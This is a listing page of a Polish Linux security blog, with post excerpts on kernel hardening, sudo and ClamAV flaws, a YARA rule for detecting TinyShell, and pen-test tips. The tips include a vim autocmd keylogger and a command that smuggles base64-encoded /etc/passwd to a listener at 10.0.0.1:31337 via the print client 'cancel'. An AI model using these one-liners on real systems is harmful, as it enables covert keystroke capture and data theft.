NFsec Logo

Działanie fs.protected

20/03/2023 w Bezpieczeństwo Możliwość komentowania Działanie fs.protected została wyłączona

P

ocząwszy od wersji 4.19 jądra systemu Linux możliwe jest uniemożliwienie otwierania FIFO lub zwykłych plików niebędących własnością użytkownika w globalnie zapisywalnych katalogach z ustawionym sticky bit (np. /tmp). Ochronę tę można stosować osobno dla FIFO, zwykłych plików, symlinków / hardlinków poprzez odpowiednie ustawienia z poziomu sysctl. Ustawienia te oparte są na łatce HARDEN_FIFO, która znajdowała się w projekcie Openwall Solar Designera, a ich celem jest utrudnienie ataków polegających na spoofingu danych. Poniżej znajduje się krótka lista starych luk, którym można było zapobiec dzięki tej funkcji (niektóre z nich pozwalają nawet na eskalację uprawnień):
[ czytaj całość… ]

Zamieniamy vim w keylogger

06/03/2023 w Pen Test Możliwość komentowania Zamieniamy vim w keylogger została wyłączona

Jeśli dodamy poniższą linijkę do pliku ~/.vimrc lub ~/.vim/plugins/keylogger.vim:

:autocmd BufWritePost * :silent :w! >> /dev/shm/keylogger.txt

To wszystkie wpisane dane wpisane w edytorze wylądują w pliku /dev/shm/keylogger.txt. Dla osób stojących po drugiej stronie wojny edytorów – jeśli do pliku ~/.nanorc lub /etc/nanorc wpisy:

set backup
set backupdir /dev/shm
set allow_insecure_backup

To kopie zapasowe edytowanych plików wylądują w katalogu /dev/shm/:

root@stardust:~# ls -al /dev/shm/
total 8
drwxrwxrwt  2 root root   80 Mar  6 20:17  .
drwxr-xr-x 18 root root 4120 Feb 11 17:58  ..
-rw-r-----  1 root root   31 Mar  6 20:09  keylogger.txt
-rw-r-----  1 root root   22 Mar  6 20:09 '!root!passwords.txt~'

Jeśli pliki konfiguracyjne mają zostać pominięte przy uruchomieniu wystarczy uruchomić je z opcjami:

nano -R [plik]
vim -u NONE [plik]

Więcej informacji: Alh4zr3d on Twitter

Odblokowujemy wyszukiwanie w powłoce bash

02/03/2023 w Administracja Możliwość komentowania Odblokowujemy wyszukiwanie w powłoce bash została wyłączona

K

ażde polecenie jest zapisywane w historii powłoki. Możemy ją ograniczać; obchodzić te ograniczenia; dodawać do niej czas wykonania poleceń; ulepszać wyszukiwanie itd. Najprostszym sposobem korzystania z historii jest używanie klawiszy kursora góra/dół. Większość użytkowników jest świadoma skrótu [Ctrl]+R. Naciskasz kombinację [Ctrl]+R (R jak reverse – wyszukiwanie wsteczne) kilka razy i jak przegapisz szukane polecenie, przewracasz oczami, naciskasz [Ctrl]+C i szukasz ponownie. Dlaczego w takim przypadku nie użyć wyszukiwania “do przodu” np. za pomocą [Ctrl]+S ? Otóż w standardowej konfiguracji kombinacja [Ctrl]+S zawiesza terminal, a [Ctrl]+Q go odwiesza. Funkcjonalność ta pochodzi z dawnych czasów i przydawała się m.in. przy zatrzymywaniu przepływu danych przez terminal. Dzisiaj już raczej się jej nie wykorzystuje. W celu wyłączenia tej funkcji i przywrócenia możliwości przeszukiwania historii wystarczy dodać linię do startowego pliku powłoki:

echo "stty -ixon" >> ~/.bash_profile

Teraz możemy przeszukiwać historię wstecz i do przodu używając [Ctrl]+R i [Ctrl]+S.

Więcej informacji: How to unfreeze after accidentally pressing Ctrl-S in a terminal?

Gasimy clamd jako zwykły użytkownik

22/02/2023 w Bezpieczeństwo Możliwość komentowania Gasimy clamd jako zwykły użytkownik została wyłączona

C

lamAV to silnik antywirusowy typu open source, który jest szeroko stosowany na serwerach pocztowych oraz różnych komercyjnych, “zamkniętych skrzynkach”. 15 lutego 2023 roku na blogu programu został opublikowany biuletyn bezpieczeństwa szczegółowo opisujący potencjalną lukę umożliwiającą zdalne wykonanie kodu w swoim parserze systemu plików HFS+ (głównym problemem jest brak sprawdzania rozmiaru podczas kopiowania bloków do bufora węzła). Luce tej nadano CVE: CVE-2023-20032. Co ciekawe podczas analizy poprawek tych luk Jared Stroud natknął się na otwarty pull request wskazujący, że nieuprzywilejowani użytkownicy mogą wyłączyć daemona clamav.
[ czytaj całość… ]

Eksfiltracja danych na serwerze lub kliencie wydruku

19/02/2023 w Pen Test Możliwość komentowania Eksfiltracja danych na serwerze lub kliencie wydruku została wyłączona

Na przejętej maszynie, z której chcemy wyprowadzić jakieś dane (tutaj: /etc/passwd), a posiada ona pakiet cups-client lub lprng zapewniający programy klienckie wydruku w stylu System V – możemy wykonać polecenie:

cancel -u "$(cat /etc/passwd | base64)" -h 10.0.0.1:31337

Na zdalnej maszynie (o adresie IP: 10.0.0.1), na której prowadzimy odbiór danych powinniśmy zobaczyć:

root@darkstar:~# nc -nlvp 31337
Listening on 0.0.0.0 31337
Connection received on 10.0.0.2 45280
POST /admin/ HTTP/1.1
Content-Length: 2650
Content-Type: application/ipp
Date: Sun, 19 Feb 2023 21:40:29 GMT
Host: 10.0.0.1:31337
User-Agent: CUPS/2.4.1 (Linux 5.15.0-58-generic; x86_64) IPP/2.0
Expect: 100-continue

9Gattributes-charsetutf-8Httributes-natural-languageen-usE
printer-uriipp://localhost/printers/Brequesting-user-name     
cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Iv
c2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9n
aW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5
bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmlu
L25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4K
bHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODpt
YWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9v
bC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVj
cDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25v
bG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dp
bgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxp
c3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9n
aW4KaXJjOng6Mzk6Mzk6aXJjZDovcnVuL2lyY2Q6L3Vzci9zYmluL25vbG9naW4KZ25hdHM6eDo0
MTo0MTpHbmF0cyBCdWctUmVwb3J0aW5nIFN5c3RlbSAoYWRtaW4pOi92YXIvbGliL2duYXRzOi91
c3Ivc2Jpbi9ub2xvZ2luCm5vYm9keTp4OjY1NTM0OjY1NTM0Om5vYm9keTovbm9uZXhpc3RlbnQ6
L3Vzci9zYmluL25vbG9naW4KX2FwdDp4OjEwMDo2NTUzNDo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jp
bi9ub2xvZ2luCnN5c3RlbWQtbmV0d29yazp4OjEwMToxMDI6c3lzdGVtZCBOZXR3b3JrIE1hbmFn
ZW1lbnQsLCw6L3J1bi9zeXN0ZW1kOi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtcmVzb2x2ZTp4
OjEwMjoxMDM6c3lzdGVtZCBSZXNvbHZlciwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9n
aW4KbWVzc2FnZWJ1czp4OjEwMzoxMDQ6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpz
eXN0ZW1kLXRpbWVzeW5jOng6MTA0OjEwNTpzeXN0ZW1kIFRpbWUgU3luY2hyb25pemF0aW9uLCws
Oi9ydW4vc3lzdGVtZDovdXNyL3NiaW4vbm9sb2dpbgpwb2xsaW5hdGU6eDoxMDU6MTo6L3Zhci9j
YWNoZS9wb2xsaW5hdGU6L2Jpbi9mYWxzZQpzc2hkOng6MTA2OjY1NTM0OjovcnVuL3NzaGQ6L3Vz
ci9zYmluL25vbG9naW4Kc3lzbG9nOng6MTA3OjExMzo6L2hvbWUvc3lzbG9nOi91c3Ivc2Jpbi9u
b2xvZ2luCnV1aWRkOng6MTA4OjExNDo6L3J1bi91dWlkZDovdXNyL3NiaW4vbm9sb2dpbgp0Y3Bk
dW1wOng6MTA5OjExNTo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnRzczp4OjExMDox
MTY6VFBNIHNvZnR3YXJlIHN0YWNrLCwsOi92YXIvbGliL3RwbTovYmluL2ZhbHNlCmxhbmRzY2Fw
ZTp4OjExMToxMTc6Oi92YXIvbGliL2xhbmRzY2FwZTovdXNyL3NiaW4vbm9sb2dpbgp1c2JtdXg6
eDoxMTI6NDY6dXNibXV4IGRhZW1vbiwsLDovdmFyL2xpYi91c2JtdXg6L3Vzci9zYmluL25vbG9n
aW4KYWdyZXNvcjp4OjEwMDA6MTAwMDphZ3Jlc29yOi9ob21lL2FncmVzb3I6L2Jpbi9iYXNoCmx4
ZDp4Ojk5OToxMDA6Oi92YXIvc25hcC9seGQvY29tbW9uL2x4ZDovYmluL2ZhbHNlCmZ3dXBkLXJl
ZnJlc2g6eDoxMTM6MTE4OmZ3dXBkLXJlZnJlc2ggdXNlciwsLDovcnVuL3N5c3RlbWQ6L3Vzci9z
YmluL25vbG9naW4K"my-jobs"

Więcej informacji: Alh4zr3d on Twitter, File upload (GTFOBins), cancel(1)

Dlaczego warto wykrywać tinyshell w swojej infrastrukturze

02/02/2023 w Bezpieczeństwo Możliwość komentowania Dlaczego warto wykrywać tinyshell w swojej infrastrukturze została wyłączona

1

7 listopada 2022 roku główny programista kryptowaluty Bitcoin – Luke Dashjr poinformował na swoim koncie Mastodon, że ktoś nieautoryzowany uzyskał dostęp do jego serwera Linux. Doprowadziło to do ukierunkowanego napadu na jego kryptowalutę, a także kradzież jego klucza PGP. Badacz bezpieczeństwa Taha Karim otrzymał od Luka kopię znalezionych na serwerze próbek publikując niedawno ich analizę. Początkowy wektor infekcji serwera nadal pozostaje niepotwierdzony, ponieważ padło parę podejrzeń w tym podłączenie szkodliwego nośnika bezpośrednio do serwera. W ramach ataku rzekomo skradziono 200 BTC o wartości na ten czas 3,6 miliona dolarów. Nie jest też jasne, w jaki sposób atakujący przeskoczyli z serwera na stację roboczą (lub odwrotnie).

Podczas przeprowadzonej analizy wyodrębniono dwa narzędzia: DARKSABER – nieco zmodyfikowany wariant TinyShell, który jest otwartym oprogramowaniem typu backdoor, zapewniając zdalne wykonanie powłoki, a także przesyłanie plików. Warto zauważyć, że backdoor ten jest trudny do zmodyfikowania lub przejęcia kontroli (w przypadku wykrycia) bez znajomości tajnego klucza, który jest używany do uwierzytelniania i szyfrowania komunikacji klient – serwer przy użyciu algorytmu szyfrowania AES-CBC-128 (odbywa się weryfikacja dla każdego wysłanego / odebranego pakietu). SHADOWSTRIKE – zwrotna powłoka TCP na platformę *nix napisana w języku Perl również oparta o otwarty i znany skrypt autorstwa pentestmonkeyperl-reverse-shell. Posiada on ciekawą opcję ustawiania nazwy procesu pod którą ukrywa się skrypt maskując sesję “mrocznego operatora”.

Ciekawy aspekt stanowi tutaj wykorzystanie właśnie TinyShell, ponieważ narzędzia oparte na tym rozwiązaniu były wykorzystywane przez wiele grup APT (ang. Advanced Persistent Threat) począwszy od takich jak APT31, PassCV, ChamelGang lub grupy UNC, jak UNC1945 lub UNC2891 oraz liczne ataki ukierunkowane od 2012 roku (nie tylko na platformy Linux).

Poniżej znajduje się przykładowa reguła YARA pozwalająca wykryć TinyShell w systemie Linux:

rule TinyShell
{
meta:
author = "Mandiant "
strings:
$sb1 = { C6 00 48 C6
         4? ?? 49 C6 
         4? ?? 49 C6 
         4? ?? 4C C6 
         4? ?? 53 C6 
         4? ?? 45 C6 
         4? ?? 54 C6 
         4? ?? 3D C6
         4? ?? 46 C6 
         4? ?? 00 }
$sb2 = { C6 00 54 C6 
         4? ?? 4D C6
         4? ?? 45 C6
         4? ?? 3D C6 
         4? ?? 52 }
$ss1 = "fork" ascii fullword wide
$ss2 = "socket" ascii fullword wide
$ss3 = "bind" ascii fullword wide
$ss4 = "listen" ascii fullword wide
$ss5 = "accept" ascii fullword wide
$ss6 = "alarm" ascii fullword wide
$ss7 = "shutdown" ascii fullword wide
$ss8 = "creat" ascii fullword wide
$ss9 = "write" ascii fullword wide
$ss10 = "open" ascii fullword wide
$ss11 = "read" ascii fullword wide
$ss12 = "execl" ascii fullword wide
$ss13 = "gethostbyname" ascii fullword wide
$ss14 = "connect" ascii fullword wide
condition:
uint32(0) == 0x464c457f and 1 of ($sb*) and 10 of ($ss*)
}

Detekcja:

FILE: /root/tsh/tshd SCORE: 70 TYPE: ELF SIZE: 63720
FIRST_BYTES: 7f454c4602010100000000000000000003003e00 / 
MD5: 9cbfbbd7a5df3fb77d110062a905b90d
SHA1: f361a0398992624eb000ebabc09ca875ed57a269
SHA256: 1f889871263bd6cdad8f3d4d5fc58b4a32669b944d3ed0860730374bb87d730a 
CREATED: Thu Feb  2 19:33:12 2023 
MODIFIED: Thu Feb  2 19:33:12 2023 
ACCESSED: Thu Feb  2 20:02:28 2023
REASON_1: Yara Rule MATCH: TINYSHELL SUBSCORE: 70
DESCRIPTION: not set REF: - AUTHOR: Mandiant
MATCHES: 
Str1: c60048c6400549c6400149c640064cc6400253c6400745c6400354c640083dc6400446c6400900 
Str2: c60054c640034dc6400145c640043dc6400252 

Więcej informacji: Trellix Insights: UNC2891 performing unauthorized cash withdrawals

Ograniczanie logów pojawiających się na konsoli serwera

22/01/2023 w Administracja, Bezpieczeństwo Możliwość komentowania Ograniczanie logów pojawiających się na konsoli serwera została wyłączona

Wiadomości jądra Linux po starcie systemu powinny być dostępne tylko dla administratora. To samo tyczy się jego wskaźników. Analogicznie możemy postąpić z logami jądra, które są wyświetlane na konsoli podczas i po starcie serwera. Za ich wyświetlanie odpowiedzialna jest jedna z najbardziej znanych funkcji z interfejsu jądra Linuksa – printk(). Jest to standardowe narzędzie, które służy do wyświetlania wiadomości i zazwyczaj najbardziej podstawowy sposób na śledzenie i debugowanie kodu jądra. Jeśli jesteśmy zaznajomieni z printf(3) to można powiedzieć, że printk() jest na nim oparty, chociaż ma pewne funkcjonalne różnice: jego komunikaty mogą zostać określone za pomocą poziomu szczegółowości (na czym się skupimy tutaj) oraz ciąg formatu (ang. format string) – choć w dużej mierze zgodny z C99, nie podąża dokładnie za tą samą specyfikacją.
[ czytaj całość… ]

Obejście polecenia sudoedit w sudo <= 1.9.12p1 (CVE-2023-22809)

19/01/2023 w Bezpieczeństwo Możliwość komentowania Obejście polecenia sudoedit w sudo <= 1.9.12p1 (CVE-2023-22809) została wyłączona

M

atthieu Barjole oraz Victor Cutillas z Synacktiv zgłosili podatność w sudoedit (sudo -e), która pozwala złośliwemu użytkownikowi z uprawnieniami sudoedit na edycję dowolnych plików. Podatność dotyczy wersji sudo od 1.8.0 do 1.9.12p1 włącznie. Wersje sudo sprzed wydania 1.8.0 konstruują wektor argumentów w inny sposób i nie są dotknięte tym błędem. Przypomnijmy, że sudo (su “do”) to najpopularniejszy program w systemach Linux, który pozwala administratorowi systemu delegować uprawnienia wybranym użytkownikom (lub grupom użytkowników) dając im możliwość uruchamiania niektórych (lub wszystkich) poleceń jako administrator (root) lub inny użytkownik, zapewniając jednocześnie ścieżkę audytu poleceń i ich argumentów.
[ czytaj całość… ]

Podsłuchujemy naciśnięcia klawiszy innego użytkownika

07/01/2023 w Bezpieczeństwo Możliwość komentowania Podsłuchujemy naciśnięcia klawiszy innego użytkownika została wyłączona

S

ystemy wieloużytkownikowe zaprojektowane są na udostępnianie dużej liczby informacji użytkownikom. Wiele z tych informacji jest “publiczna” i może być współdzielona pomiędzy różnymi użytkownikami. Nigdy nie można lekceważyć wpływu takich informacji na bezpieczeństwo. Poniżej znajduje się prosty skrypt, który umożliwia złośliwemu użytkownikowi podsłuchiwanie naciśnięć klawiszy innych użytkowników przy użyciu takich informacji. Atak wykorzystuje zwykłe nieuprzywilejowane konto i informacje o procesie ujawnione przez wirtualny system plików procfs (ang. process file system) obsługiwany przez m.in. system Linux. Zawiera on hierarchię plików wirtualnych, które opisują aktualny stan jądra, w tym dane statystyczne o pamięci procesów i niektórych ich wartościach rejestrów. Są one używane przez takie programy jak ps i top, aby zbierać i prezentować informacje o systemie oraz pomagać w debugowaniu oprogramowania. Domyślnie wiele z tych plików jest czytelnych dla wszystkich użytkowników systemu, co w naturalny sposób rodzi obawy, czy ich zawartość nie może ujawnić wrażliwych informacji innego użytkownika.
[ czytaj całość… ]

Elastyczne reguły wykrywania

03/01/2023 w Bezpieczeństwo Możliwość komentowania Elastyczne reguły wykrywania została wyłączona

J

akiś czas czemu firma Elastic weszła w rozwiązania typu SIEM (ang. Security Information and Event Management oraz EDR (ang. Endpoint Detection and Response). Jako, że jej rozwiązania od dawna wywodzą się z korzeni open source – firma udostępniła otwarte repozytorium reguł wykrywania różnych ataków i technik. Reguły w tym repozytorium są uporządkowane według rozwiązania lub platformy zachowując spłaszczoną strukturę. Każdy katalog zawiera od kilku do kilkunastu plików .toml, a w nich opisane reguły detekcyjne wraz z referencjami i taktykami ATT&CK. W drugim repozytorium znajdziemy artefakty zawierające logikę ochrony wykorzystywaną do zatrzymywania zagrożeń w systemach operacyjnych Windows, macOS i Linux. Obejmuje to reguły ochrony przed złośliwym oprogramowaniem napisane w EQL (ang. Event Query Language), a także sygnatury YARA stosowane zarówno do zawartości plików, jak i pamięci. Repozytoria te stanowią bardzo dużą bazę wiedzy odnośnie procesu proaktywnej detekcji zagrożeń (ang. threat hunting), którą możemy przełożyć na reguły dedykowane we własnych rozwiązaniach. Jeśli za ich pomocą nauczymy się wykrywania nowych technik i zagrożeń to świetnie! Ale jeszcze lepiej podzielić się także własną logiką wykrywania ze światem i pomóc innym podnieść poprzeczkę we własnych systemach detekcyjnych.

Więcej informacji: Continued leadership in open and transparent security